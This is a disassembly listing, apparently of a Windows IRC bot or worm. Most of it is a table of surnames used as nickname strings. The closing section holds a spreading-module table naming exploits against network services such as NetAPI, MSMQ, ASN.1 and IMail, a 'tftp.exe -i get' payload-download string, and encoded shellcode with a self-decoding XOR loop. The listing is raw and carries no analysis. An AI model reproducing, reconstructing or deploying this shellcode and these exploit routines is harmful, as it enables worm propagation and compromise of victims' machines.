aCunningham db 'Cunningham',0 ; DATA XREF: ___:0043AD68o
align 10h
aReinold db 'Reinold',0 ; DATA XREF: ___:0043AD6Co
aRemak db 'Remak',0 ; DATA XREF: ___:0043AD70o
align 10h
aRenick db 'Renick',0 ; DATA XREF: ___:0043AD74o
align 4
aRepetto db 'Repetto',0 ; DATA XREF: ___:0043AD78o
aResnik db 'Resnik',0 ; DATA XREF: ___:0043AD7Co
align 4
aRhea db 'Rhea',0 ; DATA XREF: ___:0043AD80o
align 10h
aRichmond db 'Richmond',0 ; DATA XREF: ___:0043AD84o
align 4
aRielly db 'Rielly',0 ; DATA XREF: ___:0043AD88o
align 4
aRindos db 'Rindos',0 ; DATA XREF: ___:0043AD8Co
align 4
aRineer db 'Rineer',0 ; DATA XREF: ___:0043AD90o
align 4
aRish db 'Rish',0 ; DATA XREF: ___:0043AD94o
align 4
aRivera db 'Rivera',0 ; DATA XREF: ___:0043AD98o
align 4
aRobinson db 'Robinson',0 ; DATA XREF: ___:0043AD9Co
align 10h
aRocha db 'Rocha',0 ; DATA XREF: ___:0043ADA0o
align 4
aRoesler db 'Roesler',0 ; DATA XREF: ___:0043ADA4o
aRogers db 'Rogers',0 ; DATA XREF: ___:0043ADA8o
align 4
aRonen db 'Ronen',0 ; DATA XREF: ___:0043ADACo
align 10h
aRow db 'Row',0 ; DATA XREF: ___:0043ADB0o
aRoyal db 'Royal',0 ; DATA XREF: ___:0043ADB4o
align 4
aRu db 'Ru',0 ; DATA XREF: ___:0043ADB8o
align 10h
aRuan db 'Ruan',0 ; DATA XREF: ___:0043ADBCo
align 4
aRuderman db 'Ruderman',0 ; DATA XREF: ___:0043ADC0o
align 4
aRuescher db 'Ruescher',0 ; DATA XREF: ___:0043ADC4o
align 10h
aRush db 'Rush',0 ; DATA XREF: ___:0043ADC8o
align 4
aRyu db 'Ryu',0 ; DATA XREF: ___:0043ADCCo
aSabatello db 'Sabatello',0 ; DATA XREF: ___:0043ADD0o
align 4
aSadler db 'Sadler',0 ; DATA XREF: ___:0043ADD4o
align 10h
aSafire db 'Safire',0 ; DATA XREF: ___:0043ADD8o
align 4
aSahu db 'Sahu',0 ; DATA XREF: ___:0043ADDCo
align 10h
aSali db 'Sali',0 ; DATA XREF: ___:0043ADE0o
align 4
aSamson db 'Samson',0 ; DATA XREF: ___:0043ADE4o
align 10h
aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0043ADE8o
aSanna db 'Sanna',0 ; DATA XREF: ___:0043ADECo
align 4
aSapers db 'Sapers',0 ; DATA XREF: ___:0043ADF0o
align 10h
aSarin db 'Sarin',0 ; DATA XREF: ___:0043ADF4o
align 4
aSartore db 'Sartore',0 ; DATA XREF: ___:0043ADF8o
aSase db 'Sase',0 ; DATA XREF: ___:0043ADFCo
align 4
aSatin db 'Satin',0 ; DATA XREF: ___:0043AE00o
align 10h
aSatta db 'Satta',0 ; DATA XREF: ___:0043AE04o
align 4
aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0043AE08o
align 4
aSawtell db 'Sawtell',0 ; DATA XREF: ___:0043AE0Co
aSayied db 'Sayied',0 ; DATA XREF: ___:0043AE10o
align 4
aScarponi db 'Scarponi',0 ; DATA XREF: ___:0043AE14o
align 4
aScepan db 'Scepan',0 ; DATA XREF: ___:0043AE18o
align 4
aScharf db 'Scharf',0 ; DATA XREF: ___:0043AE1Co
align 4
aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0043AE20o
aScheiner db 'Scheiner',0 ; DATA XREF: ___:0043AE24o
align 4
aSchiano db 'Schiano',0 ; DATA XREF: ___:0043AE28o
aSchifini db 'Schifini',0 ; DATA XREF: ___:0043AE2Co
align 10h
aSchilling db 'Schilling',0 ; DATA XREF: ___:0043AE30o
align 4
aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0043AE34o
aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0043AE38o
align 4
aSchuman db 'Schuman',0 ; DATA XREF: ___:0043AE3Co
aSchutte db 'Schutte',0 ; DATA XREF: ___:0043AE40o
aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0043AE44o
align 10h
aSchwan db 'Schwan',0 ; DATA XREF: ___:0043AE48o
align 4
aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0043AE4Co
aScovel db 'Scovel',0 ; DATA XREF: ___:0043AE50o
align 4
aScudder db 'Scudder',0 ; DATA XREF: ___:0043AE54o
aSeaton db 'Seaton',0 ; DATA XREF: ___:0043AE58o
align 4
aSeeber db 'Seeber',0 ; DATA XREF: ___:0043AE5Co
align 4
aSegal db 'Segal',0 ; DATA XREF: ___:0043AE60o
align 4
aSekler db 'Sekler',0 ; DATA XREF: ___:0043AE64o
align 4
aSelvage db 'Selvage',0 ; DATA XREF: ___:0043AE68o
aSen db 'Sen',0 ; DATA XREF: ___:0043AE6Co
aSennett db 'Sennett',0 ; DATA XREF: ___:0043AE70o
aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0043AE74o
align 4
aSexton db 'Sexton',0 ; DATA XREF: ___:0043AE78o
align 4
aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0043AE7Co
aShaikh db 'Shaikh',0 ; DATA XREF: ___:0043AE80o
align 4
aShakis db 'Shakis',0 ; DATA XREF: ___:0043AE84o
align 4
aShankland db 'Shankland',0 ; DATA XREF: ___:0043AE88o
align 10h
aShanley db 'Shanley',0 ; DATA XREF: ___:0043AE8Co
aShar db 'Shar',0 ; DATA XREF: ___:0043AE90o
align 10h
aShatrov db 'Shatrov',0 ; DATA XREF: ___:0043AE94o
aShavelson db 'Shavelson',0 ; DATA XREF: ___:0043AE98o
align 4
aShea db 'Shea',0 ; DATA XREF: ___:0043AE9Co
align 4
aSheats db 'Sheats',0 ; DATA XREF: ___:0043AEA0o
align 4
aShepherd db 'Shepherd',0 ; DATA XREF: ___:0043AEA4o
align 10h
aSheppard db 'Sheppard',0 ; DATA XREF: ___:0043AEA8o
align 4
aShepstone db 'Shepstone',0 ; DATA XREF: ___:0043AEACo
align 4
aShesko db 'Shesko',0 ; DATA XREF: ___:0043AEB0o
align 10h
aShia db 'Shia',0 ; DATA XREF: ___:0043AEB4o
align 4
aShibata db 'Shibata',0 ; DATA XREF: ___:0043AEB8o
aShimon db 'Shimon',0 ; DATA XREF: ___:0043AEBCo
align 4
aSiesto db 'Siesto',0 ; DATA XREF: ___:0043AEC0o
align 10h
aSigalot db 'Sigalot',0 ; DATA XREF: ___:0043AEC4o
aSigini db 'Sigini',0 ; DATA XREF: ___:0043AEC8o
align 10h
aSigna db 'Signa',0 ; DATA XREF: ___:0043AECCo
align 4
aSilverman db 'Silverman',0 ; DATA XREF: ___:0043AED0o
align 4
aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0043AED4o
align 10h
aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0043AED8o
align 4
aSirilli db 'Sirilli',0 ; DATA XREF: ___:0043AEDCo
aSites db 'Sites',0 ; DATA XREF: ___:0043AEE0o
align 4
aSkane db 'Skane',0 ; DATA XREF: ___:0043AEE4o
align 4
aSkerry db 'Skerry',0 ; DATA XREF: ___:0043AEE8o
align 4
aSkoda db 'Skoda',0 ; DATA XREF: ___:0043AEECo
align 4
aSloan db 'Sloan',0 ; DATA XREF: ___:0043AEF0o
align 4
aSlowe db 'Slowe',0 ; DATA XREF: ___:0043AEF4o
align 4
aSmilow db 'Smilow',0 ; DATA XREF: ___:0043AEF8o
align 4
aSniffen db 'Sniffen',0 ; DATA XREF: ___:0043AEFCo
aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0043AF00o
align 10h
aSocolow db 'Socolow',0 ; DATA XREF: ___:0043AF04o
aSolon db 'Solon',0 ; DATA XREF: ___:0043AF08o
align 10h
aSomers db 'Somers',0 ; DATA XREF: ___:0043AF0Co
align 4
aSommariva db 'Sommariva',0 ; DATA XREF: ___:0043AF10o
align 4
aSorabella db 'Sorabella',0 ; DATA XREF: ___:0043AF14o
align 10h
aSorg db 'Sorg',0 ; DATA XREF: ___:0043AF18o
align 4
aSottak db 'Sottak',0 ; DATA XREF: ___:0043AF1Co
align 10h
aSoukup db 'Soukup',0 ; DATA XREF: ___:0043AF20o
align 4
aSoule db 'Soule',0 ; DATA XREF: ___:0043AF24o
align 10h
aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0043AF28o
align 4
aSpanier db 'Spanier',0 ; DATA XREF: ___:0043AF2Co
aSparrow db 'Sparrow',0 ; DATA XREF: ___:0043AF30o
aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0043AF34o
align 4
aSpeizer db 'Speizer',0 ; DATA XREF: ___:0043AF38o
aSpence db 'Spence',0 ; DATA XREF: ___:0043AF3Co
align 4
aSperber db 'Sperber',0 ; DATA XREF: ___:0043AF40o
aSpicer db 'Spicer',0 ; DATA XREF: ___:0043AF44o
align 4
aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0043AF48o
align 4
aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0043AF4Co
align 4
aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0043AF50o
aStmartin db 'StMartin',0 ; DATA XREF: ___:0043AF54o
align 4
aStalvey db 'Stalvey',0 ; DATA XREF: ___:0043AF58o
aStam db 'Stam',0 ; DATA XREF: ___:0043AF5Co
align 4
aStang db 'Stang',0 ; DATA XREF: ___:0043AF60o
align 10h
aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0043AF64o
align 10h
aStates db 'States',0 ; DATA XREF: ___:0043AF68o
align 4
aStatlender db 'Statlender',0 ; DATA XREF: ___:0043AF6Co
align 4
aStefani db 'Stefani',0 ; DATA XREF: ___:0043AF70o
aSteiner db 'Steiner',0 ; DATA XREF: ___:0043AF74o
aStephanian db 'Stephanian',0 ; DATA XREF: ___:0043AF78o
align 10h
aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0043AF7Co
aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0043AF80o
align 4
aStiepock db 'Stiepock',0 ; DATA XREF: ___:0043AF84o
align 4
aStillwell db 'Stillwell',0 ; DATA XREF: ___:0043AF88o
align 4
aStock db 'Stock',0 ; DATA XREF: ___:0043AF8Co
align 4
aStockton db 'Stockton',0 ; DATA XREF: ___:0043AF90o
align 4
aStockwell db 'Stockwell',0 ; DATA XREF: ___:0043AF94o
align 4
aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0043AF98o
aStonich db 'Stonich',0 ; DATA XREF: ___:0043AF9Co
aStorer db 'Storer',0 ; DATA XREF: ___:0043AFA0o
align 10h
aStott db 'Stott',0 ; DATA XREF: ___:0043AFA4o
align 4
aStrange db 'Strange',0 ; DATA XREF: ___:0043AFA8o
aStrauch db 'Strauch',0 ; DATA XREF: ___:0043AFACo
aStreiff db 'Streiff',0 ; DATA XREF: ___:0043AFB0o
aStringer db 'Stringer',0 ; DATA XREF: ___:0043AFB4o
align 4
aSullivan db 'Sullivan',0 ; DATA XREF: ___:0043AFB8o
align 4
aSumner db 'Sumner',0 ; DATA XREF: ___:0043AFBCo
align 10h
aSuo db 'Suo',0 ; DATA XREF: ___:0043AFC0o
aSurdam db 'Surdam',0 ; DATA XREF: ___:0043AFC4o
align 4
aSweeting db 'Sweeting',0 ; DATA XREF: ___:0043AFC8o
align 4
aSweetser db 'Sweetser',0 ; DATA XREF: ___:0043AFCCo
align 4
aSwindle db 'Swindle',0 ; DATA XREF: ___:0043AFD0o
aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0043AFD4o
aTai db 'Tai',0 ; DATA XREF: ___:0043AFD8o
aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0043AFDCo
align 4
aTambiah db 'Tambiah',0 ; DATA XREF: ___:0043AFE0o
aTandler db 'Tandler',0 ; DATA XREF: ___:0043AFE4o
aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0043AFE8o
align 10h
aTatar db 'Tatar',0 ; DATA XREF: ___:0043AFECo
align 4
aTaveras db 'Taveras',0 ; DATA XREF: ___:0043AFF0o
aTawn db 'Tawn',0 ; DATA XREF: ___:0043AFF4o
align 4
aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0043AFF8o
align 4
aTeague db 'Teague',0 ; DATA XREF: ___:0043AFFCo
align 4
aTemes db 'Temes',0 ; DATA XREF: ___:0043B000o
align 4
aTemmer db 'Temmer',0 ; DATA XREF: ___:0043B004o
align 4
aTenney db 'Tenney',0 ; DATA XREF: ___:0043B008o
align 4
aTerracini db 'Terracini',0 ; DATA XREF: ___:0043B00Co
align 10h
aThan db 'Than',0 ; DATA XREF: ___:0043B010o
align 4
aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0043B014o
align 4
aTheodos db 'Theodos',0 ; DATA XREF: ___:0043B018o
aThibault db 'Thibault',0 ; DATA XREF: ___:0043B01Co
align 4
aThisted db 'Thisted',0 ; DATA XREF: ___:0043B020o
aThomsen db 'Thomsen',0 ; DATA XREF: ___:0043B024o
aThroop db 'Throop',0 ; DATA XREF: ___:0043B028o
align 4
aTierney db 'Tierney',0 ; DATA XREF: ___:0043B02Co
aTill db 'Till',0 ; DATA XREF: ___:0043B030o
align 4
aTimmons db 'Timmons',0 ; DATA XREF: ___:0043B034o
aTofallis db 'Tofallis',0 ; DATA XREF: ___:0043B038o
align 4
aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0043B03Co
align 4
aTolls db 'Tolls',0 ; DATA XREF: ___:0043B040o
align 4
aTolman db 'Tolman',0 ; DATA XREF: ___:0043B044o
align 4
aTomford db 'Tomford',0 ; DATA XREF: ___:0043B048o
aToomer db 'Toomer',0 ; DATA XREF: ___:0043B04Co
align 4
aTopulos db 'Topulos',0 ; DATA XREF: ___:0043B050o
aTorresi db 'Torresi',0 ; DATA XREF: ___:0043B054o
aTorske db 'Torske',0 ; DATA XREF: ___:0043B058o
align 4
aTowler db 'Towler',0 ; DATA XREF: ___:0043B05Co
align 4
aToye db 'Toye',0 ; DATA XREF: ___:0043B060o
align 4
aTraebert db 'Traebert',0 ; DATA XREF: ___:0043B064o
align 4
aTrenga db 'Trenga',0 ; DATA XREF: ___:0043B068o
align 10h
aTrewin db 'Trewin',0 ; DATA XREF: ___:0043B06Co
align 4
aTringali db 'Tringali',0 ; DATA XREF: ___:0043B070o
align 4
aTroiani db 'Troiani',0 ; DATA XREF: ___:0043B074o
aTroy db 'Troy',0 ; DATA XREF: ___:0043B078o
align 4
aTruss db 'Truss',0 ; DATA XREF: ___:0043B07Co
align 4
aTsiatis db 'Tsiatis',0 ; DATA XREF: ___:0043B080o
aTsomides db 'Tsomides',0 ; DATA XREF: ___:0043B084o
align 10h
aTsukurov db 'Tsukurov',0 ; DATA XREF: ___:0043B088o
align 4
aTuck db 'Tuck',0 ; DATA XREF: ___:0043B08Co
align 4
aTudge db 'Tudge',0 ; DATA XREF: ___:0043B090o
align 4
aTukan db 'Tukan',0 ; DATA XREF: ___:0043B094o
align 4
aTurano db 'Turano',0 ; DATA XREF: ___:0043B098o
align 4
aTurek db 'Turek',0 ; DATA XREF: ___:0043B09Co
align 4
aTuttle db 'Tuttle',0 ; DATA XREF: ___:0043B0A0o
align 4
aTwells db 'Twells',0 ; DATA XREF: ___:0043B0A4o
align 4
aTzamarias db 'Tzamarias',0 ; DATA XREF: ___:0043B0A8o
align 10h
aUllman db 'Ullman',0 ; DATA XREF: ___:0043B0ACo
align 4
aUntermeyer db 'Untermeyer',0 ; DATA XREF: ___:0043B0B0o
align 4
aUpsdell db 'Upsdell',0 ; DATA XREF: ___:0043B0B4o
aUrban db 'Urban',0 ; DATA XREF: ___:0043B0B8o
align 4
aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: ___:0043B0BCo
align 4
aUsdan db 'Usdan',0 ; DATA XREF: ___:0043B0C0o
align 4
aUzuner db 'Uzuner',0 ; DATA XREF: ___:0043B0C4o
align 4
aVacca db 'Vacca',0 ; DATA XREF: ___:0043B0C8o
align 4
aWaite db 'Waite',0 ; DATA XREF: ___:0043B0CCo
align 4
aValberg db 'Valberg',0 ; DATA XREF: ___:0043B0D0o
aValencia db 'Valencia',0 ; DATA XREF: ___:0043B0D4o
align 4
aWales db 'Wales',0 ; DATA XREF: ___:0043B0D8o
align 10h
aWallenberg db 'Wallenberg',0 ; DATA XREF: ___:0043B0DCo
align 4
aWalter db 'Walter',0 ; DATA XREF: ___:0043B0E0o
align 4
aVanallen db 'vanAllen',0 ; DATA XREF: ___:0043B0E4o
align 10h
aVanzwet db 'VanZwet',0 ; DATA XREF: ___:0043B0E8o
aVandenberg db 'Vandenberg',0 ; DATA XREF: ___:0043B0ECo
align 4
aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: ___:0043B0F0o
align 4
aWarshafsky db 'Warshafsky',0 ; DATA XREF: ___:0043B0F4o
align 10h
aWasowska db 'Wasowska',0 ; DATA XREF: ___:0043B0F8o
align 4
aVasquez db 'Vasquez',0 ; DATA XREF: ___:0043B0FCo
aWaugh db 'Waugh',0 ; DATA XREF: ___:0043B100o
align 4
aWeighart db 'Weighart',0 ; DATA XREF: ___:0043B104o
align 4
aWeingarten db 'Weingarten',0 ; DATA XREF: ___:0043B108o
align 4
aWeinhaus db 'Weinhaus',0
align 10h
aWeissbourd db 'Weissbourd',0
align 4
aWeissman db 'Weissman',0
align 4
aVelasquez db 'Velasquez',0
align 4
aWelles db 'Welles',0
align 4
aWelsh db 'Welsh',0
align 4
aWengret db 'Wengret',0
aVenne db 'Venne',0
align 4
aVerghese db 'Verghese',0
align 10h
aWescott db 'Wescott',0
aWetzel db 'Wetzel',0
align 10h
aWhately db 'Whately',0
aWhilton db 'Whilton',0
aWhite db 'White',0
align 4
aWhitla db 'Whitla',0
align 10h
aWhittaker db 'Whittaker',0
align 4
aViana db 'Viana',0
align 4
aViano db 'Viano',0
align 4
aWiedersheim db 'Wiedersheim',0
aWiener db 'Wiener',0
align 10h
aViens db 'Viens',0
align 4
aVignola db 'Vignola',0
aWilder db 'Wilder',0
align 4
aWilhelm db 'Wilhelm',0
aWilk db 'Wilk',0
align 4
aWilkin db 'Wilkin',0
align 10h
aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0043B174o
align 4
aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0043B178o
align 4
aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0043B17Co
aWilson db 'Wilson',0 ; DATA XREF: ___:0043B180o
align 4
aVitali db 'Vitali',0 ; DATA XREF: ___:0043B184o
align 4
aViviani db 'Viviani',0 ; DATA XREF: ___:0043B188o
aVoigt db 'Voigt',0 ; DATA XREF: ___:0043B18Co
align 4
aWolk db 'Wolk',0 ; DATA XREF: ___:0043B190o
align 4
aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0043B194o
align 4
aWoo db 'Woo',0 ; DATA XREF: ___:0043B198o
aWooden db 'Wooden',0 ; DATA XREF: ___:0043B19Co
align 4
aWoods db 'Woods',0 ; DATA XREF: ___:0043B1A0o
align 4
aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0043B1A4o
align 4
aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0043B1A8o
aVotey db 'Votey',0 ; DATA XREF: ___:0043B1ACo
align 4
aYacono db 'Yacono',0 ; DATA XREF: ___:0043B1B0o
align 4
aYamane db 'Yamane',0 ; DATA XREF: ___:0043B1B4o
align 4
aYankee db 'Yankee',0 ; DATA XREF: ___:0043B1B8o
align 4
aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0043B1BCo
aYates db 'Yates',0
align 4
aYbarra db 'Ybarra',0
align 4
aYedidia db 'Yedidia',0
aYesson db 'Yesson',0
align 4
aYetiv db 'Yetiv',0
align 4
aYoffe db 'Yoffe',0
align 4
aYoo db 'Yoo',0
aYoukSee db 'Youk-See',0
align 4
aYu db 'Yu',0
align 10h
aZachary db 'Zachary',0
aZahedi db 'Zahedi',0
align 10h
aZangwill db 'Zangwill',0 ; DATA XREF: ___:0043B1ECo
align 4
aZegans db 'Zegans',0 ; DATA XREF: ___:0043B1F0o
align 4
aZerbini db 'Zerbini',0 ; DATA XREF: ___:0043B1F4o
aZoldak db 'Zoldak',0 ; DATA XREF: ___:0043B1F8o
align 4
aZucconi db 'Zucconi',0 ; DATA XREF: ___:0043B1FCo
aZurn db 'Zurn',0 ; DATA XREF: ___:0043B200o
align 4
aZwiers db 'Zwiers',0 ; DATA XREF: ___:0043B204o
align 4
aZytowski db 'Zytowski',0 ; DATA XREF: ___:0043B208o
align 4
aS_29 db '%s',0 ; DATA XREF: sub_408768+27o
align 4
aSI db '%s%i',0 ; DATA XREF: sub_408768+4Eo
align 4
aS_30 db '%s',0
align 4
aSI_0 db '%s%i',0
align 10h
aPc db 'PC',0 ; DATA XREF: ___:00408885o
align 4
aPc_0 db 'PC',0 ; DATA XREF: ___:004088AFo
align 4
aPc_1 db 'PC',0 ; DATA XREF: ___:004088DBo
align 4
aSI_1 db '%s%i',0 ; DATA XREF: ___:00408906o
align 4
aS_31 db '%s|',0 ; DATA XREF: ___:00408954o
aSI_2 db '%s%i',0 ; DATA XREF: ___:0040897Bo
align 10h
a95 db '95',0 ; DATA XREF: ___:004089E9o
align 4
aNt db 'NT',0 ; DATA XREF: ___:004089F7o
align 4
a98 db '98',0 ; DATA XREF: ___:00408A07o
align 4
aMe_0 db 'ME',0 ; DATA XREF: ___:00408A17o
align 10h
a2k db '2K',0 ; DATA XREF: ___:00408A30o
align 4
aXp_0 db 'XP',0 ; DATA XREF: ___:00408A40o
align 4
a2k3 db '2K3',0 ; DATA XREF: ___:00408A4Eo
a???_0 db '???',0 ; DATA XREF: ___:loc_408A55o
aS_32 db '[%s]|',0 ; DATA XREF: ___:00408A5Eo
align 4
aSI_3 db '%s%i',0 ; DATA XREF: ___:00408A85o
align 10h
aMirc_0 db 'mIRC',0 ; DATA XREF: sub_408AA4+1Fo
align 4
off_43DCA8 dd offset byte_5D4D5B ; DATA XREF: sub_408AA4+2Co
dword_43DCAC dd 5D64255Bh, 7325h ; DATA XREF: sub_408AA4+3Ao
aMirc_1 db 'mIRC',0 ; DATA XREF: sub_408AA4:loc_408AF3o
align 4
off_43DCBC dd offset byte_5D4D5B ; DATA XREF: sub_408AA4+5Co
; ---------------------------------------------------------------------------
loc_43DCC0: ; DATA XREF: sub_408D4C+C4o
jmp short loc_43DCC4
; ---------------------------------------------------------------------------
loc_43DCC2: ; CODE XREF: ___:loc_43DCC4p
jmp short loc_43DCC9
; ---------------------------------------------------------------------------
loc_43DCC4: ; CODE XREF: ___:loc_43DCC0j
call loc_43DCC2
loc_43DCC9: ; CODE XREF: ___:loc_43DCC2j
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 66h, 0B9h
word_43DCCE dw 0FFFFh ; DATA XREF: sub_408D4C+CCw
db 80h, 73h, 0Eh
byte_43DCD3 db 0FFh ; DATA XREF: sub_408D4C+D3w
dd 0F9E243h
; ---------------------------------------------------------------------------
loc_43DCD8: ; DATA XREF: sub_408D4C+A2o
jmp short loc_43DCDC
; ---------------------------------------------------------------------------
loc_43DCDA: ; CODE XREF: ___:loc_43DCDCp
jmp short loc_43DCE1
; ---------------------------------------------------------------------------
loc_43DCDC: ; CODE XREF: ___:loc_43DCD8j
call loc_43DCDA
loc_43DCE1: ; CODE XREF: ___:loc_43DCDAj
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 0B1h
byte_43DCE5 db 0FFh ; DATA XREF: sub_408D4C+AAw
dw 7380h
db 0Ch
byte_43DCE9 db 0FFh ; DATA XREF: sub_408D4C+B0w
dw 0E243h
dd 0F9h
dword_43DCF0 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_408BD5+57o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43DD54 dd 12h ; DATA XREF: sub_408BD5+3Dw
aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_408BD5+79o
aJ_0 db 'j',0
db 0E8h
dword_43DD6D dd 17h ; DATA XREF: sub_408BD5+4Dw
; ---------------------------------------------------------------------------
jnz short near ptr byte_43DD74
retn
; ---------------------------------------------------------------------------
byte_43DD74 db 0E8h ; CODE XREF: ___:0043DD71j
dword_43DD75 dd 1 ; DATA XREF: sub_408BD5+45w
byte_43DD79 db 0, 6Ah, 0 ; DATA XREF: sub_408BD5+C2o
dd 7E8h
db 0, 0Fh, 84h
dword_43DD83 dd 0FFFFFFEDh ; DATA XREF: sub_408BD5+5Dw
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
; ---------------------------------------------------------------------------
align 4
dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h, 202E6425h
dd 7325h
aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_4090E1+35o
align 4
aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_4090E1+51o
align 10h
aNapi2_135_0 db 'napi2_135',0 ; DATA XREF: sub_409ECC+164o
aNapi2_135 db 'Napi2_135',0 ; DATA XREF: sub_4094E0+30o
; sub_40CE96+57o
dd 5 dup(0)
dword_43DE38 dd 87h ; DATA XREF: sub_403038+3212r
; sub_403038+323Eo ...
off_43DE3C dd offset sub_40CE96 ; DATA XREF: sub_409ECC+1E6r
dword_43DE40 dd 0 ; DATA XREF: sub_4093A7+2Eo
; ___:0040AC82w ...
dword_43DE44 dd 1 ; DATA XREF: sub_4097CE+20r
dword_43DE48 dd 0 ; DATA XREF: sub_4097CE+290r
align 10h
aNapi2_445 db 'napi2_445',0
aNapi2_445_0 db 'Napi2_445',0
dd 5 dup(0)
dd 1BDh, 40CE96h, 0
dd 1, 2 dup(0)
aNapi2_139 db 'napi2_139',0
aNapi2_139_0 db 'Napi2_139',0
dd 5 dup(0)
dd 8Bh, 40CE96h, 0
dd 1, 2 dup(0)
aMsgsvc db 'msgsvc',0
align 4
dd 654D0000h, 6E657373h, 726567h, 5 dup(0)
dd 87h, 40ADB0h, 0
dd 1, 2 dup(0)
aMsmq2103 db 'msmq2103',0
align 2
aMsmq2103_0 db 'MSMQ 2103',0
dd 5 dup(0)
dd 837h, 40C62Eh, 0
dd 1, 2 dup(0)
aMsmq2105 db 'msmq2105',0
align 2
aMsmq2105_0 db 'MSMQ 2105',0
dd 5 dup(0)
dd 839h, 40C62Eh, 0
dd 1, 2 dup(0)
aMsmq2107 db 'msmq2107',0
align 2
aMsmq2107_0 db 'MSMQ 2107',0
dd 5 dup(0)
dd 83Bh, 40C62Eh, 0
dd 1, 2 dup(0)
aAsn1http db 'asn1http',0
align 2
aAsn_1Http db 'ASN.1-HTTP',0
align 4
dd 4 dup(0)
dd 50h, 40BB78h, 0
dd 1, 2 dup(0)
aAsn1smb db 'asn1smb',0
dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
dd 1BDh, 40BB78h, 0
dd 1, 2 dup(0)
aAsn1smbnt db 'asn1smbnt',0
aAsn_1SmbNt db 'ASN.1-SMB NT',0
align 4
dd 4 dup(0)
dd 8Bh, 40BB78h, 0
dd 1, 2 dup(0)
aImail_1 db 'imail',0
align 4
dd 4D490000h, 6C6961h, 6 dup(0)
dd 8Fh, 40A60Ah, 0
dd 1, 2 dup(0)
aMersin db 'mersin',0
align 4
dd 4E560000h, 6F6F5243h, 726574h, 5 dup(0)
dd 170Ch, 4145EFh, 0
dd 1, 12h dup(0)
aMersin_0 db 'mersin',0
align 4
db 2 dup(0)
byte_43E15A db 1 ; DATA XREF: sub_403038:loc_4061C8r
; sub_403038+319Ao
aMsmq2103_1 db 'msmq2103',0
dd 73610100h, 6D73316Eh, 62h, 1, 2 dup(0)
; ---------------------------------------------------------------------------
jmp short loc_43E18E
; =============== S U B R O U T I N E =======================================
sub_43E17E proc near ; CODE XREF: sub_43E17E:loc_43E18Ep
pop edx
dec edx
xor ecx, ecx
mov cx, 166h
loc_43E186: ; CODE XREF: sub_43E17E+Cj
xor byte ptr [edx+ecx], 99h
loop loc_43E186
jmp short loc_43E193
; ---------------------------------------------------------------------------
loc_43E18E: ; CODE XREF: ___:0043E17Cj
call sub_43E17E
loc_43E193: ; CODE XREF: sub_43E17E+Ej
jo short near ptr dword_43E104+2Ah
cwde
cdq
cdq
retn
sub_43E17E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 21h, 95h, 69h
dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah
dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h
dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
